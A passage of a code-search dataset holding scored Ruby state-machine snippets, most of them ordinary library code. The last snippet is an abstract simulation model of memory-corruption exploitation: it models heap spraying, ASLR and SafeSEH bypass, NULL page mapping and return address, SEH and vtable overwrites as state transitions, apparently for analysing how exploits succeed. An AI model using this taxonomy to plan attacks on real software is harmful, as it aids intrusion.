context\n ).call(state_machine.target(context), self)\n rescue StandardError => error\n callback = state_machine.find_error_callback(error, self)\n raise unless callback\n\n Callable.new(callback).bind(context).call(error, self)\n end", "title": "" }, { "docid": "8added8638146d13c2fb0b1c93e7c176", "score": "0.619322", "text": "def state_fu!\n MethodFactory.define_singleton_method(self, :initialize_state_fu!) { true }\n self.class.state_fu_machines.keys.map { |n| state_fu_binding( n ) }\n end", "title": "" }, { "docid": "baaab7671293bfc2486e5bf992778ed4", "score": "0.614205", "text": "def set_actions\n\n @a_to_b = Action.create_with_default_name(@a, @b, lambda{1})\n @a_to_d = Action.create_with_default_name_and_cost(@a, @d)\n @b_to_c = Action.create_with_default_name(@b, @c, lambda{2})\n @d_to_e = Action.create_with_default_name(@d, @e, lambda{1})\n @c_to_c = Action.create_with_default_name(@c, @c, lambda{1})\n @e_to_e = Action.create_with_default_name(@e, @e, lambda{1})\n @c_to_a = Action.create_with_default_name_and_cost(@c, @a)\n @e_to_a = Action.create_with_default_name_and_cost(@e, @a)\n\n @state_machine << @a_to_b << @a_to_d << @b_to_c << @d_to_e << @c_to_a << @e_to_a << @c_to_c << @e_to_e\n\n end", "title": "" }, { "docid": "46abb1f0669fd860b0b6c4a2651b0388", "score": "0.6137417", "text": "def call(states)\n StateParser.new(states).parse do |from, to|\n attributes.merge!(states: { from => to })\n transition = Transition.new(machine, attributes)\n name = attributes[:name]\n silent = attributes.fetch(:silent, false)\n\n machine.events_chain.add(name, transition)\n\n unless machine.respond_to?(name)\n event_definition.apply(name, silent)\n end\n state_definition.apply({ from => to })\n end\n self\n end", "title": "" }, { "docid": "f32dc9774ef2fab00557274b4f3f639d", "score": "0.6108978", "text": "def trigger(*); end", "title": "" }, { "docid": "4b8c29ebf012b38856f5e63b3e311ef0", "score": "0.6079207", "text": "def call\n Puppet::StateMachine::MachineRunner.new(self).call\n end", "title": "" }, { "docid": "fc1cd0c5c46ddcb3b5df4aab30d31534", "score": "0.6065714", "text": "def fsm_trigger!( transition )\n machine.trigger( transition.to_sym )\n ## no callbacks\n # => update_column :fsm_state, machine.state\n ## with callbacks\n self.save if self.changed?\n end", "title": "" }, { "docid": "342cff274ce1d029d31764d2283c0142", "score": "0.6043941", "text": "def execute_state_callbacks(state); end", "title": "" }, { "docid": "8a4f2a75df75c4f7ac805dd18ba0a319", "score": "0.6022743", "text": "def define_event_method\n state_machine.events.each do |event_name, event|\n event.attribute_name = state_machine.attribute_name\n define_can_event_method(event_name, event)\n define_event_execution_method(event_name, event)\n define_event_execution_method!(event_name, event)\n end\n end", "title": "" }, { "docid": "5ef7b60c6ff37b0627971022dcc26524", "score": "0.60057205", "text": "def event(event, &block)\n class_eval <<-EOV\n def #{event.to_s}!\n next_states = next_states_for_event(:#{event.to_s})\n #p \"available states insid \\#{self.class}: \\#{next_states.inspect}\"\n previous_state = current_state\n next_states.each do |ns|\n if ns.guard(self)\n loopback = current_state == ns.to\n exitact = self.class.read_inheritable_attribute(:states)[current_state][:exit]\n enteract = self.class.read_inheritable_attribute(:states)[ns.to][:enter]\n self[self.class.state_column.to_sym]=ns.to.to_s\n if (self.save)\n run_transition_action(enteract) if enteract && !loopback\n run_transition_action(exitact) if exitact && !loopback\n else\n self[self.class.state_column.to_sym]=previous_state.to_s\n end\n break\n end\n end\n end\n EOV\n \n tt = read_inheritable_attribute(:transition_table)\n tt[event.to_sym] ||= []\n \n if block_given?\n t = SupportingClasses::TransitionCollector.new\n t.instance_eval(&block)\n trannys = t.opts\n trannys.each do |tranny|\n Array(tranny[:from]).each do |s|\n tt[event.to_sym] << SupportingClasses::StateTransition.new(s.to_sym, tranny[:to], tranny[:guard])\n end\n end\n end\n end", "title": "" }, { "docid": "de4a3f8f28d7715aed984904a3eea7a2", "score": "0.59620064", "text": "def define_state_methods\n machine.states.each do |state|\n next if inherited_machine && inherited_machine.states[state.name] || !state.name\n\n # State query\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"#{state.qualified_name}?\"))\n m.docstring = [\n \"Checks whether #{state.name.inspect} is the current state.\",\n '@return [Boolean] +true+ if this is the current state, otherwise +false+'\n ]\n end\n end", "title": "" }, { "docid": "9fbdb84af1b8e94a092e472877d817c4", "score": "0.594615", "text": "def init_state_machines\n initialize_state_machines\n end", "title": "" }, { "docid": "3330ae64d7acae9b86c01ec60cb0876d", "score": "0.5870504", "text": "def machine\n workflow_instance = self\n unless workflow_instance.class.transam_workflow_transitions.empty?\n @machine ||= Machine.new(workflow_instance, initial: (workflow_instance.read_attribute(:state) || workflow_instance.class.transam_workflow_transitions.first[:from_state]), action: :save) do\n\n workflow_instance.class.transam_workflow_transitions.each do |attrs|\n if attrs[:event_name].present? && attrs[:from_state].present? && attrs[:to_state].present?\n transition_attrs = {attrs[:from_state] => attrs[:to_state]}\n event_attrs = attrs[:human_name] ? {human_name: attrs[:human_name]} : {}\n if attrs[:guard].present?\n if attrs[:guard].is_a?(Hash)\n transition_attrs[:if] = Proc.new { attrs[:guard].map{|k,v| workflow_instance.state.to_s == k.to_s && workflow_instance.send(v)}.any? }\n else\n transition_attrs[:if] = Proc.new { workflow_instance.send(attrs[:guard]) }\n end\n end\n\n state(attrs[:from_state], {human_name: attrs[:from_state_human_name]}) if attrs[:from_state_human_name].present?\n state(attrs[:to_state], {human_name: attrs[:to_state_human_name]}) if attrs[:to_state_human_name].present?\n\n event(attrs[:event_name], event_attrs) { branches << transition(transition_attrs) }\n end\n end\n\n before_transition do |this_machine, this_transition|\n this_machine.machine_before_transition(this_transition)\n end\n after_transition do |this_machine, this_transition|\n this_machine.machine_after_transition(this_transition)\n end\n end\n end\n end", "title": "" }, { "docid": "94b70637be272d1fe4665b62ec47a7b1", "score": "0.58489996", "text": "def state(*args); end", "title": "" }, { "docid": "94b70637be272d1fe4665b62ec47a7b1", "score": "0.58489996", "text": "def state(*args); end", "title": "" }, { "docid": "ee780406b255cbe9baa68bf544e08e1f", "score": "0.5848447", "text": "def build_initiated\n end", "title": "" }, { "docid": "ee780406b255cbe9baa68bf544e08e1f", "score": "0.5848447", "text": "def build_initiated\n end", "title": "" }, { "docid": "9c75a5696357d0679174778d02b92d61", "score": "0.584042", "text": "def define_macro_methods\n return if inherited_machine\n\n # Human state name lookup\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"human_#{machine.attribute(:name)}\", :class))\n m.docstring = [\n 'Gets the humanized name for the given state.',\n \"@param [#{state_type}] state The state to look up\",\n '@return [String] The human state name'\n ]\n m.parameters = ['state']\n\n # Human event name lookup\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"human_#{machine.attribute(:event_name)}\", :class))\n m.docstring = [\n 'Gets the humanized name for the given event.',\n \"@param [#{event_type}] event The event to look up\",\n '@return [String] The human event name'\n ]\n m.parameters = ['event']\n\n # Only register attributes when the accessor isn't explicitly defined\n # by the class / superclass *and* isn't defined by inference from the\n # ORM being used\n unless integration || instance_attributes.include?(machine.attribute.to_sym)\n attribute = machine.attribute\n namespace.attributes[:instance][attribute] = {}\n\n # Machine attribute getter\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, attribute))\n namespace.attributes[:instance][attribute][:read] = m\n m.docstring = [\n 'Gets the current attribute value for the machine',\n '@return The attribute value'\n ]\n\n # Machine attribute setter\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"#{attribute}=\"))\n namespace.attributes[:instance][attribute][:write] = m\n m.docstring = [\n 'Sets the current value for the machine',\n \"@param new_#{attribute} The new value to set\"\n ]\n m.parameters = [\"new_#{attribute}\"]\n end\n\n if integration && integration.defaults[:action] && !options.include?(:action) || options[:action]\n attribute = \"#{machine.name}_event\"\n namespace.attributes[:instance][attribute] = {}\n\n # Machine event attribute getter\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, attribute))\n namespace.attributes[:instance][attribute][:read] = m\n m.docstring = [\n 'Gets the current event attribute value for the machine',\n '@return The event attribute value'\n ]\n\n # Machine event attribute setter\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"#{attribute}=\"))\n namespace.attributes[:instance][attribute][:write] = m\n m.docstring = [\n 'Sets the current value for the machine',\n \"@param new_#{attribute} The new value to set\"\n ]\n m.parameters = [\"new_#{attribute}\"]\n end\n\n # Presence query\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"#{machine.name}?\"))\n m.docstring = [\n 'Checks the given state name against the current state.',\n \"@param [#{state_type}] state_name The name of the state to check\",\n '@return [Boolean] True if they are the same state, otherwise false',\n '@raise [IndexError] If the state name is invalid'\n ]\n m.parameters = ['state_name']\n\n # Internal state name\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, machine.attribute(:name)))\n m.docstring = [\n 'Gets the internal name of the state for the current value.',\n \"@return [#{state_type}] The internal name of the state\"\n ]\n\n # Human state name\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"human_#{machine.attribute(:name)}\"))\n m.docstring = [\n 'Gets the human-readable name of the state for the current value.',\n '@return [String] The human-readable state name'\n ]\n\n # Available events\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, machine.attribute(:events)))\n m.docstring = [\n \"Gets the list of events that can be fired on the current #{machine.name} (uses the *unqualified* event names)\",\n '@param [Hash] requirements The transition requirements to test against',\n \"@option requirements [#{state_type}] :from (the current state) One or more initial states\",\n \"@option requirements [#{state_type}] :to One or more target states\",\n \"@option requirements [#{event_type}] :on One or more events that fire the transition\",\n '@option requirements [Boolean] :guard Whether to guard transitions with conditionals',\n \"@return [Array<#{event_type}>] The list of event names\"\n ]\n m.parameters = [['requirements', '{}']]\n\n # Available transitions\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, machine.attribute(:transitions)))\n m.docstring = [\n \"Gets the list of transitions that can be made for the current #{machine.name}\",\n '@param [Hash] requirements The transition requirements to test against',\n \"@option requirements [#{state_type}] :from (the current state) One or more initial states\",\n \"@option requirements [#{state_type}] :to One or more target states\",\n \"@option requirements [#{event_type}] :on One or more events that fire the transition\",\n '@option requirements [Boolean] :guard Whether to guard transitions with conditionals',\n '@return [Array<StateMachines::Transition>] The available transitions'\n ]\n m.parameters = [['requirements', '{}']]\n\n # Available transition paths\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, machine.attribute(:paths)))\n m.docstring = [\n \"Gets the list of sequences of transitions that can be run for the current #{machine.name}\",\n '@param [Hash] requirements The transition requirements to test against',\n \"@option requirements [#{state_type}] :from (the current state) The initial state\",\n \"@option requirements [#{state_type}] :to The target state\",\n '@option requirements [Boolean] :deep Whether to enable deep searches for the target state',\n '@option requirements [Boolean] :guard Whether to guard transitions with conditionals',\n '@return [StateMachines::PathCollection] The collection of paths'\n ]\n m.parameters = [['requirements', '{}']]\n\n # Generic event fire\n register(m = ::YARD::CodeObjects::MethodObject.new(namespace, \"fire_#{machine.attribute(:event)}\"))\n m.docstring = [\n \"Fires an arbitrary #{machine.name} event with the given argument list\",\n \"@param [#{event_type}] event The name of the event to fire\",\n '@param args Optional arguments to include in the transition',\n '@return [Boolean] +true+ if the event succeeds, otherwise +false+'\n ]\n m.parameters = ['event', '*args']\n end", "title": "" }, { "docid": "0343ed973278b74ec4faec522722b437", "score": "0.58381397", "text": "def build_transition(event, context, set_state_method, *args, **opts)\n options = {\n from: from,\n to: to,\n state_machine: state_machine,\n context: context,\n event: event,\n set_state_method: set_state_method,\n arguments: args,\n options: opts\n }\n\n transition = Transition.new(event.name, **options)\n\n if block\n # if the transition takes a block we make it available through a proxy on the transition itself!\n transition.send(:block=, Proc.new do\n # if the transition block takes arguments we always pass the transition itself as the first argument\n # callbacks also get passed the transition object in case they take an argument and can access args and\n # options passed to the transition when invoked through that transition object\n if block.arity > 0\n args = [transition] + args\n end\n context.instance_exec(*args, **opts, &block)\n end)\n end\n\n transition.trigger\n end", "title": "" }, { "docid": "e3a513922fe5ed8744996cd26b513792", "score": "0.580716", "text": "def set_states\n\n @a = State.create_with_default_reward(\"a\")\n @b = State.create_with_default_reward(\"b\")\n @c = State.new(\"c\", lambda{10})\n @d = State.create_with_default_reward(\"d\")\n @e = State.new(\"e\", lambda{5})\n\n @state_machine << @a << @b << @c << @d << @e\n\n end", "title": "" }, { "docid": "e1c1749c3f1fdb3077ee6aa47a3eff42", "score": "0.5798821", "text": "def trigger_mechanism\r\n raise NotImplementedError\r\n end", "title": "" }, { "docid": "2b3813ff3f5926d9f0582a095ce50339", "score": "0.57987714", "text": "def build\r\n sm = Statemachine.build do\r\n\r\n context @context\r\n\r\n ###\r\n ###\r\n ##\r\n # Pre-exploitation stage\r\n #\r\n # Spans from one or more environmental preparations to triggering the flaw.\r\n ##\r\n ###\r\n ###\r\n\r\n state :target_defined do\r\n event :prepare_environment, :preparing_environment\r\n end\r\n\r\n #\r\n # Prepare the target environment for exploitation such as by loading\r\n # non-ASLR/non-safeSEH DLLs, spraying data/code, and so on.\r\n #\r\n state :preparing_environment do\r\n\r\n #\r\n # After all pre-exploitation steps have finished we can stop\r\n # preparing the environment.\r\n #\r\n event :finish_preparing_environment, :environment_prepared\r\n\r\n #\r\n # Load a non-ASLR image to enable assumptions about the location of\r\n # code and data.\r\n #\r\n event :load_non_aslr_image, :preparing_environment, lambda {\r\n\r\n technique ExSim::LoadNonASLRDLL\r\n\r\n #\r\n # This only applies to windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # No need to load a non-ASLR image if desired code and data can\r\n # already be located.\r\n #\r\n predicate :load_non_aslr_image_necessary do\r\n if assumed_true? :can_find_desired_code and assumed_true? :can_find_desired_data\r\n false\r\n else\r\n true\r\n end\r\n end\r\n\r\n #\r\n # The attacker must be able to load a non-ASLR image in the first place. They cannot\r\n # do this if:\r\n #\r\n # 1. The OS has ASLR turned on (vs. OptIn) for all images regardless of image flags.\r\n #\r\n # Or\r\n #\r\n # 2. The attacker is not actually able to load a non-ASLR image.\r\n #\r\n predicate :can_load_non_aslr_image do\r\n target.os.user_aslr_policy_lib_images != :on and attacker_favors_true target.cap.can_load_non_aslr_image\r\n end\r\n\r\n #\r\n # The non-ASLR image must load at its preferred base address.\r\n #\r\n predicate :non_aslr_image_loads_at_preferred_address do\r\n if is_aslr_force_relocation_enabled\r\n can_find_address :force_relocate_image\r\n else\r\n true\r\n end\r\n end\r\n\r\n #\r\n # If all predicates are satisfied, then we assume that desired code\r\n # and data can be found.\r\n #\r\n\r\n assume_true :can_find_address, :image\r\n assume_true :can_find_address, :code\r\n assume_true :can_find_address, :data\r\n assume_true :can_find_desired_code\r\n assume_true :can_find_desired_data\r\n assume_true :non_aslr_image_loaded\r\n\r\n }\r\n\r\n #\r\n # Load a non-SafeSEH image into the context of the target process.\r\n #\r\n event :load_non_aslr_non_safeseh_image, :preparing_environment, lambda {\r\n\r\n technique ExSim::LoadNonASLRDLL\r\n technique ExSim::LoadNonASLRNonSafeSEHDLL\r\n\r\n #\r\n # It must be possible to load a non-ASLR DLL.\r\n #\r\n predicate :can_be_loaded_as_non_aslr_image do\r\n assumed_true? :non_aslr_image_loaded\r\n end\r\n\r\n #\r\n # This only applies to windows.\r\n #\r\n predicate :is_windows_os\r\n\r\n #\r\n # The attacker must be able to load a non-ASLR and non-SafeSEH image.\r\n #\r\n predicate :can_load_non_aslr_non_safeseh_image do\r\n attacker_favors_true target.cap.can_load_non_aslr_non_safeseh_image\r\n end\r\n \r\n #\r\n # The ability to load a non-ASLR/non-SafeSEH DLL means we can bypass\r\n # SafeSEH.\r\n #\r\n assume_true :can_bypass_safeseh\r\n\r\n }\r\n\r\n #\r\n # Spray the heap with desired data (or shellcode). This\r\n # requires the attacker to have the ability to spray heap in the\r\n # context of the target application. If this can be done then we can\r\n # assume that the attacker will be able to assume the address of\r\n # controlled data.\r\n #\r\n event :spray_data, :preparing_environment, lambda {\r\n\r\n technique ExSim::SprayData\r\n\r\n #\r\n # It is not necessary to spray data if we can already find desired\r\n # data.\r\n #\r\n predicate :spray_data_necessary do\r\n assumed_false_or_nil? :can_find_desired_data\r\n end\r\n\r\n #\r\n # The attacker must be able to spray data bottom up.\r\n #\r\n predicate :can_spray_data_bottom_up do\r\n attacker_favors_true target.cap.can_spray_data_bottom_up\r\n end\r\n\r\n #\r\n # If all predicates are satisfied then we can now assume that we are\r\n # able to find desired data at a desired address.\r\n #\r\n assume_true :can_find_address, :data\r\n assume_true :can_find_address, :heap\r\n assume_true :can_find_attacker_controlled_data\r\n assume_true :can_find_desired_data\r\n\r\n }\r\n\r\n #\r\n # Spray the address space with desired code. This requires\r\n # the attacker to have the ability to use a technique like JIT spraying.\r\n #\r\n event :spray_code, :preparing_environment, lambda {\r\n\r\n technique ExSim::SprayCode\r\n\r\n #\r\n # It is not necessary to spray code if we can already find desired\r\n # code.\r\n #\r\n predicate :spray_code_necessary do\r\n assumed_false_or_nil? :can_find_desired_code\r\n end\r\n\r\n #\r\n # The attacker must be able to spray code bottom up (e.g. via JIT spraying).\r\n #\r\n predicate :can_spray_code_bottom_up do\r\n attacker_favors_true target.cap.can_spray_code_bottom_up\r\n end\r\n\r\n #\r\n # If all predicates are satisfied we can now assume that we are able to \r\n # find desired data and code at a desired address.\r\n #\r\n assume_true :can_find_address, :code\r\n assume_true :can_find_address, :data\r\n assume_true :can_find_attacker_controlled_code\r\n assume_true :can_find_desired_code\r\n assume_true :can_find_desired_data\r\n\r\n }\r\n\r\n event :map_null_page, :preparing_environment, lambda {\r\n\r\n technique ExSim::NullMap\r\n\r\n #\r\n # Only applicable to NULL dereference flaws at the moment.\r\n #\r\n predicate :is_null_dereference_flaw\r\n\r\n #\r\n # This must be a local kernel flaw.\r\n #\r\n predicate :is_local_kernel_flaw\r\n\r\n #\r\n # The attacker must be able to map the NULL page.\r\n #\r\n predicate :can_map_null_page\r\n\r\n assume_true :null_page_mapped\r\n assume_true :can_find_address, :data\r\n assume_true :can_find_attacker_controlled_data\r\n assume_true :can_find_desired_data\r\n\r\n }\r\n\r\n #\r\n # Put heap allocations into a preferred configuration relative to \r\n # one another prior to triggering the flaw.\r\n #\r\n event :massage_heap, :preparing_environment, lambda {\r\n\r\n #\r\n # This must be a heap memory corruption flaw for this to matter.\r\n #\r\n predicate :can_corrupt_heap_memory\r\n\r\n #\r\n # The attacker must be able to massage the heap.\r\n #\r\n predicate :can_massage_heap\r\n\r\n }\r\n\r\n #\r\n # Discover a stack address as a result of an address space information\r\n # disclosure.\r\n #\r\n event :discover_stack_address, :preparing_environment, lambda {\r\n\r\n # \r\n # ASLR for the stack must be enabled for this to matter.\r\n #\r\n predicate :is_aslr_stack_enabled \r\n\r\n #\r\n # The attacker must be able to discover a stack address.\r\n #\r\n predicate :can_discover_stack_address do\r\n can_discover_address :stack\r\n end\r\n\r\n assume_true :can_find_address, :stack\r\n assume_true :can_find_address, :data\r\n\r\n }\r\n\r\n #\r\n # Leak a heap address back to the attacker. If possible, this\r\n # allows the attacker to assume knowledge of where a heap has\r\n # been mapped and where writable data can be found.\r\n #\r\n event :discover_heap_address, :preparing_environment, lambda {\r\n\r\n # \r\n # ASLR must be enabled for the information leak to matter.\r\n #\r\n predicate :is_aslr_heap_enabled \r\n\r\n #\r\n # The attacker must be able to discover a heap address.\r\n #\r\n predicate :can_discover_heap_address do\r\n can_discover_address :heap\r\n end\r\n\r\n assume_true :can_find_address, :heap\r\n assume_true :can_find_address, :data\r\n\r\n }\r\n\r\n #\r\n # Leak the PEB address back to the attacker. If possible, this\r\n # allows the attacker to assume knowledge of where a heap has\r\n # been mapped and where writable data can be found.\r\n #\r\n event :discover_peb_address, :preparing_environment, lambda {\r\n\r\n # \r\n # ASLR must be enabled for the information leak to matter.\r\n #\r\n predicate :is_aslr_peb_enabled \r\n\r\n #\r\n # The attacker must be able to discover a peb address.\r\n #\r\n predicate :can_discover_peb_address do\r\n can_discover_address :peb\r\n end\r\n\r\n assume_true :can_find_address, :peb\r\n assume_true :can_find_address, :data\r\n\r\n }\r\n\r\n #\r\n # Leak an image address back to the attacker. If possible, this\r\n # allows the attacker to assume knowledge of where code and data\r\n # are mapped in the target address space.\r\n #\r\n event :discover_image_address, :preparing_environment, lambda {\r\n\r\n # \r\n # ASLR must be enabled for the information leak to matter.\r\n #\r\n predicate :is_aslr_images_enabled \r\n\r\n #\r\n # The attacker must be able to discover an image address.\r\n #\r\n predicate :can_discover_image_address do\r\n can_discover_address :image\r\n end\r\n\r\n assume_true :can_find_address, :image\r\n assume_true :can_find_address, :code\r\n assume_true :can_find_address, :data\r\n\r\n }\r\n\r\n #\r\n # Leak the address of the image with the flaw which has been protected\r\n # by vtugard.\r\n #\r\n event :discover_vtguard_cookie, :preparing_environment, lambda {\r\n\r\n # \r\n # ASLR must be enabled for the information leak to matter.\r\n #\r\n predicate :is_aslr_images_enabled\r\n\r\n #\r\n # Leaking the vtguard image address is only necessary if vtguard is enabled.\r\n #\r\n predicate :is_vtguard_enabled do\r\n attacker_favors_false target.flaw.vtguard_enabled\r\n end\r\n\r\n #\r\n # Can the attacker actually discover the vtguard cookie?\r\n #\r\n predicate :can_discover_vtguard_cookie do\r\n attacker_favors_true(normally_false(target.flaw.can_discover_vtguard_cookie)) or predicate(:can_find_address, :vtimage) > 0\r\n end\r\n\r\n assume_true :can_find_address, :image\r\n assume_true :can_find_address, :code\r\n assume_true :can_find_address, :data\r\n\r\n }\r\n\r\n end\r\n\r\n #\r\n # The environment has been prepared and the flaw can now be triggered.\r\n #\r\n state :environment_prepared do\r\n\r\n #\r\n # Trigger the flaw.\r\n #\r\n event :trigger_flaw, :flaw_triggered\r\n\r\n end\r\n\r\n ###\r\n ###\r\n ##\r\n # Exploitation stage\r\n #\r\n # Spans from triggering the flaw to executing arbitrary code.\r\n ##\r\n ###\r\n ###\r\n\r\n #\r\n # A flaw has been triggered.\r\n #\r\n state :flaw_triggered do\r\n\r\n #\r\n # If the flaw provides us with the ability the transfer control to an arbitrary \r\n # address, then do so and get control of the instruction pointer.\r\n #\r\n event :transfer_control, :control_of_instruction_pointer, lambda {\r\n\r\n #\r\n # This must not be a NULL dereference flaw (handled via a separate event).\r\n #\r\n predicate_nocache :is_not_null_dereference_flaw do\r\n not is_null_dereference_flaw\r\n end\r\n\r\n #\r\n # This must be a control transfer flaw (such as a control transfer via a\r\n # type mismatch).\r\n #\r\n predicate :is_control_transfer_flaw\r\n\r\n #\r\n # The flaw must provide us with the ability to transfer control anywhere.\r\n #\r\n predicate :can_transfer_control_anywhere\r\n\r\n }\r\n\r\n #\r\n # Get control of the instruction pointer by transferring to a target\r\n # derived from a NULL read.\r\n #\r\n event :transfer_control_via_null_read, :control_of_instruction_pointer, lambda {\r\n\r\n technique ExSim::NullMap\r\n\r\n #\r\n # This must be a null dereference flaw.\r\n #\r\n predicate :is_null_dereference_flaw\r\n\r\n #\r\n # The NULL page must have been mapped by the attacker in\r\n # pre-exploitation.\r\n #\r\n predicate :null_page_is_mapped do\r\n assumed_true? :null_page_mapped\r\n end\r\n\r\n #\r\n # This flaw must allow us to transfer control anywhere.\r\n #\r\n predicate :can_transfer_control_anywhere\r\n\r\n }\r\n\r\n #\r\n # Get control of a write target pointer by transferring control to a\r\n # target derived from a NULL read.\r\n #\r\n event :write_via_null_read, :control_of_write_target_pointer, lambda {\r\n\r\n technique ExSim::NullMap\r\n\r\n #\r\n # This must be a null dereference flaw.\r\n #\r\n predicate :is_null_dereference_flaw\r\n\r\n #\r\n # The NULL page must have been mapped by the attacker in\r\n # pre-exploitation.\r\n #\r\n predicate :null_page_is_mapped do\r\n assumed_true? :null_page_mapped\r\n end\r\n\r\n }\r\n\r\n #\r\n # Corrupt the saved return address on the stack.\r\n #\r\n event :corrupt_return_address, :control_of_return_address, lambda {\r\n\r\n technique ExSim::ReturnAddressOverwrite\r\n\r\n #\r\n # Must be able to corrupt stack memory.\r\n #\r\n predicate :can_corrupt_stack_memory\r\n\r\n #\r\n # Must be able to find the address of the stack (which is implicit for\r\n # stack-based corruption vulnerabilities, but not for absolute writes).\r\n #\r\n predicate :can_find_stack_frame_address\r\n\r\n #\r\n # Must be able to use this flaw to corrupt the return address.\r\n #\r\n predicate :can_corrupt_return_address\r\n\r\n }\r\n\r\n #\r\n # Partially corrupt the return address on the stack.\r\n #\r\n event :corrupt_return_address_partially, :control_of_return_address, lambda {\r\n\r\n technique ExSim::PartialReturnAddressOverwrite\r\n\r\n #\r\n # Must be able to corrupt stack memory.\r\n #\r\n predicate :can_corrupt_stack_memory\r\n\r\n #\r\n # Must be able to find the address of the stack (which is implicit for\r\n # stack-based corruption vulnerabilities, but not for absolute writes).\r\n #\r\n predicate :can_find_stack_frame_address\r\n\r\n #\r\n # Must be able to use this flaw to partially corrupt the return address. This is\r\n # possible if the attacker can write anywhere or can precisely control the length\r\n # of the corruption.\r\n #\r\n predicate :can_corrupt_return_address_partially do\r\n can_write_anywhere or attacker_favors_true(target.flaw.corruption_length_controlled)\r\n end\r\n\r\n }\r\n\r\n #\r\n # Corrupt the saved frame pointer on the stack.\r\n #\r\n event :corrupt_frame_pointer, :control_of_frame_pointer, lambda {\r\n\r\n technique ExSim::FramePointerOverwrite\r\n\r\n #\r\n # Must be able to corrupt stack memory.\r\n #\r\n predicate :can_corrupt_stack_memory\r\n\r\n #\r\n # Must be able to find the address of the stack (which is implicit for\r\n # stack-based corruption vulnerabilities, but not for absolute writes).\r\n #\r\n predicate :can_find_stack_frame_address\r\n\r\n #\r\n # Must be able to use this flaw to corrupt the frame pointer.\r\n #\r\n predicate :can_corrupt_frame_pointer\r\n\r\n }\r\n\r\n #\r\n # Corrupt an exception registration record on the stack.\r\n #\r\n event :corrupt_seh_frame, :control_of_seh_frame, lambda {\r\n\r\n technique ExSim::StructuredExceptionHandlerOverwrite\r\n\r\n #\r\n # The target operating system family must be windows.\r\n #\r\n predicate :is_windows_os \r\n \r\n #\r\n # The target application must be 32-bit x86.\r\n #\r\n predicate :is_x86_app\r\n\r\n #\r\n # Must be able to corrupt stack memory.\r\n #\r\n predicate :can_corrupt_stack_memory\r\n\r\n #\r\n # Must be able to find the address of the stack (which is implicit for\r\n # stack-based corruption vulnerabilities, but not for write anywhere).\r\n #\r\n predicate :can_find_stack_frame_address\r\n\r\n #\r\n # Must be able to use this flaw to corrupt an SEH frame.\r\n #\r\n predicate :can_corrupt_seh_frame\r\n\r\n }\r\n\r\n #\r\n # Corrupt a local C++ object on the stack to gain control of the\r\n # object's state.\r\n #\r\n event :corrupt_stack_cpp_object_vtable, :control_of_cpp_object_vtable, lambda {\r\n\r\n technique ExSim::StackVariableOverwrite\r\n technique ExSim::CppObjectVtablePointerOverwrite\r\n\r\n #\r\n # Must be able to corrupt stack memory.\r\n #\r\n predicate :can_corrupt_stack_memory\r\n\r\n #\r\n # Must be able to find the address of the stack (which is implicit for\r\n # stack-based corruption vulnerabilities, but not for write anywhere).\r\n #\r\n predicate :can_find_stack_frame_address\r\n\r\n #\r\n # We must be able to overwrite local variables in the current frame\r\n # or in the parent frame.\r\n #\r\n predicate :can_overwrite_local_variables\r\n\r\n #\r\n # The flaw must permit the attacker to overwrite a C++ object's vtable\r\n # pointer.\r\n #\r\n predicate :can_corrupt_object_vtable_pointer\r\n\r\n }\r\n\r\n #\r\n # Corrupt a local function pointer that is used prior to the function\r\n # returning.\r\n #\r\n event :corrupt_stack_function_pointer, :control_of_function_pointer, lambda {\r\n\r\n technique ExSim::StackVariableOverwrite\r\n technique ExSim::FunctionPointerOverwrite\r\n\r\n #\r\n # Must be able to corrupt stack memory.\r\n #\r\n predicate :can_corrupt_stack_memory\r\n\r\n #\r\n # Must be able to find the address of the stack (which is implicit for\r\n # stack-based corruption vulnerabilities, but not for write anywhere).\r\n #\r\n predicate :can_find_stack_frame_address\r\n\r\n #\r\n # We must be able to overwrite local variables in the current frame or in\r\n # a parent frame.\r\n #\r\n predicate :can_overwrite_local_variables\r\n\r\n #\r\n # The flaw must permit us to corrupt a local function pointer.\r\n #\r\n predicate :can_corrupt_function_pointer\r\n\r\n }\r\n\r\n #\r\n # Corrupt a local write target pointer that is written to prior to function\r\n # return.\r\n #\r\n event :corrupt_stack_write_target_pointer, :control_of_write_target_pointer, lambda {\r\n\r\n technique ExSim::StackVariableOverwrite\r\n technique ExSim::WriteTargetPointerOverwrite\r\n\r\n #\r\n # Must be able to corrupt stack memory.\r\n #\r\n predicate :can_corrupt_stack_memory\r\n\r\n #\r\n # Must be able to find the address of the stack (which is implicit for\r\n # stack-based corruption vulnerabilities, but not for write anywhere).\r\n #\r\n predicate :can_find_stack_frame_address\r\n\r\n #\r\n # We must be able to overwrite local variables in the current frame or in \r\n # a parent frame.\r\n #\r\n predicate :can_overwrite_local_variables\r\n\r\n #\r\n # The flaw must permit us to corrupt a local write target pointer.\r\n #\r\n predicate :can_corrupt_write_target_pointer\r\n\r\n }\r\n\r\n #\r\n # Trigger a double free, arbitrary free, or uninitialized free in a manner that\r\n # provides us with control over the state of an in-use object.\r\n #\r\n event :free_and_realloc_in_use_heap_object, :control_of_in_use_object_state, lambda {\r\n\r\n technique ExSim::HeapPrematureFree\r\n\r\n #\r\n # The flaw must be a pre-mature free flaw.\r\n #\r\n predicate :is_premature_free do\r\n case target.flaw.to_sym\r\n when :double_free, :arbitrary_free\r\n true\r\n else\r\n false\r\n end\r\n end\r\n\r\n #\r\n # The ability to corrupt an in use heap object depends on the attacker's\r\n # ability to massage the heap. Massaging the heap implies normalization\r\n # and placement of a desired object in a desired location.\r\n #\r\n predicate :can_massage_heap\r\n\r\n }\r\n\r\n #\r\n # Corrupt a typically adjacent in use application object that is stored\r\n # on the heap to get control of the object's state.\r\n #\r\n event :corrupt_in_use_heap_object, :control_of_in_use_object_state, lambda {\r\n\r\n technique ExSim::HeapApplicationDataOverwrite\r\n\r\n #\r\n # Must be able to 